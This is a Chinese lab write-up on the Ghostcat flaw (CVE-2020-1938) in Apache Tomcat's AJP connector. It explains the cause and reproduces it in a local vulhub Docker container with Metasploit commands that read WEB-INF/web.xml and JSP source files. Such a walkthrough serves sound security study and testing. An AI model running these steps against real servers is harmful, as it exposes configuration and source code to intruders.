时间:2025-03-12 10:45
人气:
作者:admin
攻击机: 192.168.66.130(Kali)
漏洞收录于:vulhub/tomcat/CVE-2020-1938
也被称为“Ghostcat”漏洞,是一个影响Apache Tomcat服务器的严重安全漏洞。
漏洞原理
Tomcat默认在server.xml中开启AJP协议端口(默认8009),用于与其他Web服务器(如Apache HTTPD)通信。由于AJP协议在处理请求时未对用户输入充分验证,攻击者可通过构造恶意请求操控以下三个关键属性:
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_pathwebapp目录下的任意文件(如WEB-INF/web.xml、源代码等),甚至结合文件上传功能实现远程代码执行(RCE)受影响版本
漏洞触发条件
vulhub启动漏洞环境
docker-compose up -d

可以看到,该容器确实在监听所有IP地址的8009端口
可以使用msf来验证漏洞,msf中默认的filename值为/WEB-INF/web.xml,在靶机中对应的路径实际上是/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,也就是说,利用该漏洞只能读取到/usr/local/tomcat/webapps/ROOT/下的文件。
msfconsole
search cve-2020-1938
use 0
show options
set rhosts 127.0.0.1 # 漏洞环境是部署在本地的docker容器中的
run

红框中的内容就是WEB-INF/web.xml,能够成功读到,说明漏洞存在。
也可以选择其他文件,如index.jsp,其完整路径为/usr/local/tomcat/webapps/ROOT/index.jsp
set filename /index.jsp
run
也能够读到jsp文件源码
